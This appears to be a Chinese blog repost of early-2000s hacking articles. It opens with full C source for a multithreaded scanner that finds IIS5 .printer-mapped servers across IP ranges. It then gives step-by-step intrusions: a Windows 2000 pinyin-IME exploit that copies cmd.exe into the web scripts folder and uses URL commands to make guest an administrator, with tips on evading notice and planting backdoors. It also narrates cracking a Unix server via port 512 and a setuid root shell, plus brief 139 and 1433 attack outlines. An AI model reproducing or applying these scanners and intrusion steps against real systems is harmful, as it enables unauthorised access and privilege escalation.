• 欢迎访问Ppabc博客网站,专注于Linux、CentOS、Apache、Nginx、MySQL、PHP等开源工具安装优化的技术博客,推荐使用最新版火狐浏览器和Chrome浏览器访问本网站,欢迎加入Ppabc博客
  • 如果您觉得本站非常有看点,那么赶紧使用Ctrl+D 收藏Ppabc博客吧

80端口入侵 CGI扫描器的原理和实现过程[转载]

网络文摘 admin 16年前 (2003-03-12) 233次浏览

 

有很多网站为了安全起见,在 WEB Server 前面架了防火墙,或者做了 TCP/IP 过滤,对外只开放 TCP 80 端口。从入侵者角度来看,要入侵那么从 80 上跑的 CGI 入手是比较可行的,当然也可以用别的办法,例如旁敲侧击,呵呵。从网管角度来看,一是要保证 CGI 的安全性,另外网络的整体安全性也是很重要的。针对基于 80 端口入侵、防范而出的 CGI 扫描器数不胜数,但基本上原理都一样。CGI 扫描器原理说起来其实非常简单,可以用四句话来概括:


<1>连接目标 WEBSERVER;
<2>发送一个特殊的请求;
<3>接收目标服务器返回数据;
<4>根据返回数据判断
目标服务器是否有此 CGI 漏洞。
当管理的服务器达到一定数量的时候,手工检测自己的服务器是否存在各种各样的 CGI
漏洞,那就太消耗时间和精力了,所以一个网管手上有个比较好用的 CGI 漏洞扫描器还是
必要的。OK!今天我们就自己来动手用 C 写一个简单的 CGI 扫描器,帮助自己在日常工作
中检测服务器:))
源代码如下,很多地方我都加了注释,别嫌我烦哦:))编译好的程序可以从
http://eyas.3322.net/program/cgicheck.exe下载。
/*************************************************************************
Module:CGICheck.cpp
Author:ey4s
Date:2001/5/16
说明:这是一个 Console 下多线程,带有进度显示的 CGI 扫描器的模板,更改一下 szSign
和 SendBuff 就可以扫描其他 CGI 漏洞,设置了连接、发送、接收超时,速度还可以哦。希
望可以帮助到 admins 检测自己的服务器:))
*************************************************************************/
#include
#include
#include

#define iPort 80//目标 Web Server 端口
#define szSign “500 13\r\nServer: Microsoft-IIS/5.0″//根据此标志来检查目标是否有漏洞

#pragma comment(lib,”ws2_32.lib”)
///////////////////////////////////////////////////////////////////////////
//
//定义&初始化全局变量
//
char *SendBuff=”GET /NULL.printer\n”,//发送的请求 buff
CurrentTarget[52]={0},//存放最后一个线程将扫描的目标
turn[4][2]={“-“,”\\”,”|”,”/”};//显示进度时的字符
int SendBuffLen=strlen(SendBuff),//发送的 buff 长度
iConnTimeout,//TCP Connect TimeOut
ii=0,//扫描进度
iTotal;//服务器总数
HANDLE hSemaphore=NULL,//信标内核对象句柄,用来控制线程数量
hStdout;//console 标准输出句柄,做进度显示的时候用的
struct timeval timeout;//连接、发送和接收的超时值
DWORD SleepTime;//每个一个线程后等待的时间
/*
SleepTime 值根据用户输入的线程数量[ThreadNum]和 TCP
ConnectTimeOut[CONNTIMEO]来计算。确保在 CONNTIMEO 时间左右开 ThreadNum
个线程。这样在 CONNTIMEO 时间后,所开的线程开始陆续超时退出,可以继续稳定的开
线程,可以有效的保证同时有 ThreadNum 个线程在运行。
*/
///////////////////////////////////////////////////////////////////////////
void ShowError(char *);//显示出错信息函数,可以写完善一些,偶偷懒了:)
BOOL ResetCursor(void);//重置光标位置,线程输出的时候调用的
DWORD WINAPI ShowProInfo(LPVOID);//显示进度信息
DWORD WINAPI scan(LPVOID);//扫描函数
void usage(char *);//帮助函数
///////////////////////////////////////////////////////////////////////////
int main(int argc,char **argv)
{
HANDLE hThread=NULL;//线程句柄
DWORD dwThreadID;//线程 ID
struct sockaddr_in sa;
int i,
MaxThread;//最大线程数量
WSADATA wsd;
long PreviousCount;
clock_t start,end;//程序运行的起始和结束时间
double duration;

//检查用户输入参数
if(argc!=5)
{
usage(argv[0]);
return 1;
}
//get target range
int StartNet=inet_addr(argv[1]);
int StopNet=inet_addr(argv[2]);
int StartHost=ntohl(StartNet);
int StopHost=ntohl(StopNet);
//取得线程数量
MaxThread=atoi(argv[3]);
//取得 conn 超时时间
iConnTimeout=atoi(argv[4]);
//检查参数合法性
if((iConnTimeout>6) || (iConnTimeout<2) || (MaxThread<1) || (MaxThread>500) ||
(StopHost {
usage(argv[0]);
return 1;
}
//计算时间
SleepTime=1000*iConnTimeout/MaxThread;
//设置连接超时值
timeout.tv_sec = iConnTimeout;
timeout.tv_usec =0;
__try
{
//开始计时
start=clock();
//加载 winsock 库
if (WSAStartup(MAKEWORD(1,1), &wsd) != 0)
{
ShowError(“WSAStartup”);
__leave;
}
//创建信标内核对象句柄
hSemaphore=CreateSemaphore(NULL,MaxThread,MaxThread,NULL);
if(hSemaphore==NULL)
{
ShowError(“CreateSemaphore”);
__leave;
}
//取得 console 标准输出句柄
hStdout=GetStdHandle(STD_OUTPUT_HANDLE);
if(hStdout==INVALID_HANDLE_value)
{
ShowError(“GetStdHandle”);
__leave;
}
//设置目标总数
iTotal=StopHost-StartHost;
//创建进度显示线程
hThread=CreateThread(NULL,0,ShowProInfo,NULL,0,&dwThreadID);
if(hThread==NULL)
{
ShowError(“1 CreateThread”);
__leave;
}
//关闭句柄
CloseHandle(hThread);
//循环创建扫描线程
for(i=StartHost;i<=StopHost;i++)
{
//等待信标内核对象通知
WaitForSingleObject(hSemaphore,INFINITE);
//create thread to scan
hThread=CreateThread(NULL,0,scan,(LPVOID)i,0,&dwThreadID);
if(hThread==NULL)
{
ShowError(“2 CreateThread”);
break;
}
//进度自加 1
ii++;
//重设最后一个线程扫描的目标
sa.sin_addr.s_addr=htonl(i);
strncpy(CurrentTarget,inet_ntoa(sa.sin_addr),sizeof(CurrentTarget));
//休息一会儿:))
Sleep(SleepTime);
//关闭线程句柄
CloseHandle(hThread);
}
//等待所有线程结束
while(1)
{
WaitForSingleObject(hSemaphore,INFINITE);
if(!ReleaseSemaphore(hSemaphore,1,&PreviousCount))
{
ShowError(“main() ReleaseSemaphore”);
Sleep(5000);
break;
}
if(PreviousCount==(MaxThread-1))
{
printf(“\nAll done.”);
break;
}
Sleep(500);
}
}//end of try
//搞定,清场,收工
__finally
{
//计时结束
end=clock();
//转换时间格式
duration = (double)(end – start) / CLOCKS_PER_SEC;
//显示所用时间
printf(“\n\nComplete.Scan %d targets use %2.1f seconds.Speed
%0.3g/s\n”,iTotal,duration,iTotal/duration);
//关闭句柄
CloseHandle(hStdout);
CloseHandle(hSemaphore);
WSACleanup();
}
return 0;
}
///////////////////////////////////////////////////////////////////////////
//
//回显错误信息函数
//
void ShowError(char *msg)
{
MessageBox(NULL,msg,”ERROR”,0);
//printf(“\n%s failed:%d”,GetLastError());
}
//////////////////////////////////////////////////////////////////////////
//
//重置光标位置函数,以便扫描线程输出结果
//
BOOL ResetCursor()
{
CONSOLE_SCREEN_BUFFER_INFO ConsoleScreenBufferInfo;
//取得当前光标位置
if(!GetConsoleScreenBufferInfo(hStdout,&ConsoleScreenBufferInfo))
{
ShowError(“GetConsoleScreenBufferInfo”);
return FALSE;
}
//设置光标 X 坐标为 0
ConsoleScreenBufferInfo.dwCursorPosition.X=0;
//设置当前光标位置
SetConsoleCursorPosition(hStdout,ConsoleScreenBufferInfo.dwCursorPosition);
return TRUE;
}
///////////////////////////////////////////////////////////////////////////
//
//显示进度信息函数
//
DWORD WINAPI ShowProInfo(LPVOID lp)
{
int j,k;
CONSOLE_SCREEN_BUFFER_INFO ConsoleScreenBufferInfo;
float m;
for(j=0;ii {
//休息一会儿:)))
Sleep(SleepTime);
//取得当前光标位置
if(!GetConsoleScreenBufferInfo(hStdout,&ConsoleScreenBufferInfo))
{
ShowError(“GetConsoleScreenBufferInfo”);
return 1;
}
//设置百分比进度显示的 X 坐标
ConsoleScreenBufferInfo.dwCursorPosition.X=0;
//设置当前光标位置
SetConsoleCursorPosition(hStdout,ConsoleScreenBufferInfo.dwCursorPosition);
//已经完成的百分比
m=(ii+1)*100.00/iTotal;
//显示进度
if(ii==iTotal)
{
printf(“******** 100%% Wait %d seconds to exit ********
\n”,iConnTimeout);
break;
}
else
{
k=j%4;
printf(“%-15s %s [%d/%d] %s
%%%0.3g”,CurrentTarget,turn[k],ii,iTotal,turn[k],m);
}
}//end of for
return 0;
}
///////////////////////////////////////////////////////////////////////////
//
//扫描函数
//
DWORD WINAPI scan(LPVOID lp)
{
int i=(int)lp,iErr;
struct sockaddr_in server;
SOCKET s=INVALID_SOCKET;
char RecvBuff[1024]={0},*ptr;
int RecvBuffLen=sizeof(RecvBuff);
u_long ul=1;//初始化为为非 0 值
fd_set r,w;

//create socket
s=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if(s==INVALID_SOCKET)
{
printf(“\nCreate socket failed:%d”,GetLastError());
ExitProcess(1);
}
//fill the addr struct
server.sin_family=AF_INET;
server.sin_port=htons(iPort);
server.sin_addr.S_un.S_addr=htonl(i);
__try
{
//设置 socket 为非锁定模式,ul 为 0 值的话,那么 soocket 将被设置为锁定模式
iErr=ioctlsocket(s,FIONBIO,(unsigned long*)&ul);
if(iErr==SOCKET_ERROR )
{
ResetCursor();
ShowError(“ioctlsocket”);
ExitProcess(1);
}
//printf(“\n%X ioctl ok.strat conn”,i);
//connect to target
connect(s,(struct sockaddr *)&server,sizeof(server));
//printf(“\n%X conn return,start select w”,i);
//设置 select 参数
FD_ZERO(&w);
FD_SET(s, &w);
//等待 connect 成功&socket 可写
iErr=select(0, 0, &w, 0, &timeout);
//printf(“\n%X select w return %d”,i,iErr);
//等待返回后,socket 仍不可写则退出
if((iErr==SOCKET_ERROR) || (iErr==0))
{
//printf(“\n%X select return w err,exit”,i);
__leave;
}
//socket 可写则继续
else
{
//send buff to target
//printf(“\n%X send”,i);
iErr=send(s,SendBuff,SendBuffLen,0);
//printf(“\n%X send return”,i);
if(iErr==SOCKET_ERROR)
__leave;
}
//等待 socket 可读
FD_ZERO(&r);
FD_SET(s, &r);
//printf(“\n%X start select r”,i);
iErr=select(0, &r, 0, 0, &timeout);
//printf(“\n%X select r return %d”,i,iErr);
if((iErr==SOCKET_ERROR) || (iErr==0))
{
//printf(“\n%X select r err,exit”,i);
__leave;
}
else
{
//recv buff from target
//printf(“\n%X start recv”,i);
iErr=recv(s,RecvBuff,RecvBuffLen,0);
//printf(“\n%X recv ret”,i);
if(iErr==SOCKET_ERROR)
__leave;
}
//verify buff
ptr=strstr(RecvBuff,szSign);
if(ptr!=NULL)
{
//线程输出前要先调用 ResetCursor 函数
ResetCursor();
//输出信息后务必加一个以上换行符号,输出前请别加换行符号,以免显示混

printf(“[%-15s] has .printer mapped.
\n”,inet_ntoa(server.sin_addr));
}
}
__finally
{
if(!ReleaseSemaphore(hSemaphore,1,NULL))
ShowError(“thread ReleaseSemaphore failed”);
closesocket(s);
}
return 0;
}
///////////////////////////////////////////////////////////////////////////
void usage(char *proname)
{
printf(“\n%s v0.1 only can find IIS5 .Printer mapped”
“\nPower by ey4s 2001.5.20”
“\http://www.patching.net”
“\n\nUsage:%s ”
“\n\nNotice”
“\n StartIP StopIP ==>Don’t forgot StopIP must large than StartIP ”
“\n ThreadNum ==>Thread number,please input between 1-500”
“\n CONNTIMEO ==>TCP connect timeout,please input between 2-6”
“\n\nExample”
“\n %s 192.168.0.0 192.168.255.255 200 2″,proname,proname,proname);
}
程序在 VC++6.0 上编译通过,在 windows2000 上运行良好:)
389 端口的入侵 3389 端口的入侵 3389 端口的入侵

由于微软对中国产品不付责任的态度,使得安装了终端服务和全拼的 w2k 服务器存在着远程登陆并能获取超级用户权限的严重漏洞。
其过程如下:

1.扫描 3389 port 终端服务默认;
2.用终端客户端程序进行连接;
3.按 ctrl+shift 调出全拼输入法(其他似乎不行),点鼠标右键(如果其帮助菜单发灰,就赶快赶下家吧,人家打补丁了),点帮助,点输入法入门;
4.在”选项”菜单上点右键—>跳转到 URL”,输入:c:\winnt\system32\cmd.exe.(如果不能确定 NT 系统目录,则输入:c:\ 或 d:\
……进行查找确定);
5.选择”保存到磁盘” 选择目录:c:\inetpub\scripts\,因实际上是对方服务器上文件自身的复制操作,所以这个过程很快就会完成;
6.打开 IE,输入http://ip/scripts/cmd.exe?/c dir 怎么样?有 cmd.exe 文件了吧?这我们就完成了第一步;
7http://ip/scripts/cmd.exe?/c echo net user guest /active:yes>go.bat
8http://ip/scripts/cmd.exe?/c echo net user guest elise>>go.bat
9http://ip/scripts/cmd.exe?/c echo net localgroup administrators /add
guest>>go.bat
10http://ip/scripts/cmd.exe?/c type go.bat 看看我们的批文件内容是否如下:

net user guest /active:yes
net user guest elise
net localgroup administrators /add guest
11.在”选项”菜单上点右键—>跳转到 URL”,输入:c:\inetpub\scripts\go.bat —>在磁盘当前位置执行;
12.呵呵,大功告成啦,这样我们就激活了服务器的 geust 帐户,密码为:elise,超级用户呢!(我喜欢 guest 而不是建立新帐户,这样似乎不易被发现些),这样你就可用 IPC$连接,想怎样做就怎样做了,当然,你也可用 guest 直接登陆到他的服务器,到他机器上去跳舞吧:-)

注意事项:
1.当你用终端客户端程序登陆到他的服务器时,你的所有操作不会在他的机器上反应出来,但如果他正打开了终端服务管理器,你就惨了了:(这时他能看到你所打开的进程 id、程序映象,你的 ip 及机器名,并能发消息给你!
2.当你连接时,会加重对方服务器的负荷,非常容易造成对方死机和断线,所以你的操作快点为妙。
3.尽快做好后门,暂时不要上传任何程序,一是防止断线,二是防止对方打上补丁!
个人观点:
1.在 IE 下,所拥有的只是 iusr_machine 权限,因而,你不要设想去做越权的事情,如启动 telnet、木马等;
2.url 的跳转下,你将拥有超级用户的权限,好好利用吧
3.跳转到哪个目录下,通常只能查看、执行当前目录的文件,不能进入到子目录,如想进入,再跳一次吧!:)
4.此法似乎与对方的防火墙无关哦!
5.据本人实际操作,发现极易断线,但应与占用服务器资源无关。对方是 384M RAM+PIII,是静态 IP,主要是做数据库服务器,RAID 硬盘,SCSI CD
ROM,开机 18 天了,02:00 进去时,仍时常吊线。

堵漏办法:
1.打补丁;
2.删掉全拼输入法,用标准就成了嘛^_^;
3.服务中关掉:Terminal Services,服务名称:TermService,对应程序名:system32\termsrv.exe;
512 端口入侵

已经是第六十几天了,我的 Celeron
533 仍不知疲倦的跑着 JOHN……我是无意中注意到这个网站的,当时只是想看一下,方法是各位大虾都会的 FINGER,然后猜用户口令进去的。进去之后 PASSWD 也没有 SHADOWN,
直接就可以看到,该系统用的是 Digital
unix 系统,从 PASSWD 看得出里面的用户只有两个组:root 和 users,我猜中的就是一 users 级别的,发现这个级别的用户几乎没有什么权限,TELNET 上去后发现/USR/USERS/XXX 是各用户的 HOME,而它们的属性全是 drwx——,也就是说这里的用户是互不信任的关系(这一点大家在各免费主页服务器上经常可以看到),看来猜出再多用户级口令也没有用的。
root 级的用户只有两名:root 和 shut。root 我用 john 已跑了 60 多天,显然不可能再跑出来了,但幸运的是 shut 口令已跑出来了。我毫不犹豫的 telnet 上去——然后,网站就关闭了!@#~!#^%,我真笨,怎么没想到 shut 口令是干什么的?
网站很快就又开启了,我发现 shut 口令还是没改!这个网管是怎么当的,系统关了也不查一下原因!很显然,这个网站上只有 root 是有水平的,但他与服务器可能不在同地,对于开、关机之类的事情不能直接操纵,与是给当地的操作员一个 root 级帐号,然后在.profile 文件中做了一个 shell,使得帐号一登录就自动关系统。看看系统这么周密的设计,我想 root 设计这个 shell 时绝对关掉了 path,所以我不打算在优先的 path 路径中放一同名的 shell 来阻止它。我如果能改掉这个文件再 telnet 上去不就是 root 级了吗?

但是 shut 的 HOME 目录是 drwx——,别的帐号根本进不去。没关系,我试试 ftp,530 user shut access
denined(被拒绝),users 组可以 ftp 上去同样进不了 shut 目录。而且该网站根本就没有开 WWW 服务,怎么办?为这个网站陆陆续续研究了许久,我总是乐观的鼓励自己,“起码我已经知道几十种进不去的方法了……”。“真正的黑客从来都是把困难当作乐趣,敞开的大门你请他进他都不进呢!”如此六十多天过去了,只到有一天……

我再一次用 haktek 扫描该网站,结果如下:
Port 21 found. Desc=’ftp’
Port 23 found. Desc=’telnet’
Port 25 found. Desc=’smtp’
Port 79 found. Desc=’finger’
Port 111 found. Desc=’portmap/sunrpc’
Port 512 found. Desc=’biff/exec’
Port 513 found. Desc=’login/who’
Port 514 found. Desc=’shell/syslog’
Port 515 found. Desc=’printer’
Port 1024 found.
Port 1025 found.
Port 1526 found.
Port 1528 found.

一个以前一直没有注意的 Port 512 引起我的注意,这个端口是什么时候开的?要知道它可以让用户不登录就可以运行服务器上的命令!!!赶紧试试!

打开一个软件 winrsh32,填入 user 和 password,在命令中填上 ls -la,点运行哇,文件全列出来了,剩下的就简单了:cp /bin/sh
/tmp/.temp;
chown root /tmp/.temp;chmod 4755
/tmp/.temp。然后再用那个破掉的 user 级帐号 telnet,cd/tmp;.temp。当#映入眼帘时,心却往下一沉,我突然感到一丝落寂……可惜这个 root 一世小心,却毁在了让 shut 可以使用 512 端口上。看来破坏一个世界总是比建立一个世界简单……
39 端口入侵 139 端口入侵
139 端口的入侵,主要是通过建立空连接,而获得用户名和共享名,接着用字典法或穷举法来猜测 ADMINISTRATORS 的密码,这样可获得最高权限。
解决方法:
1、禁止匿名共享。
2、禁止管理共享。
1433 端口入侵 1433 端口入侵
1433 端口的入侵,主要是利用 MS SQL SERVER 默认 sa 的密码是空,通过远程执行命令而达到目的,或通过穷举法猜测密码。


Selinux 中国 , 版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明原文链接:80 端口入侵 CGI 扫描器的原理和实现过程[转载]
喜欢 (0)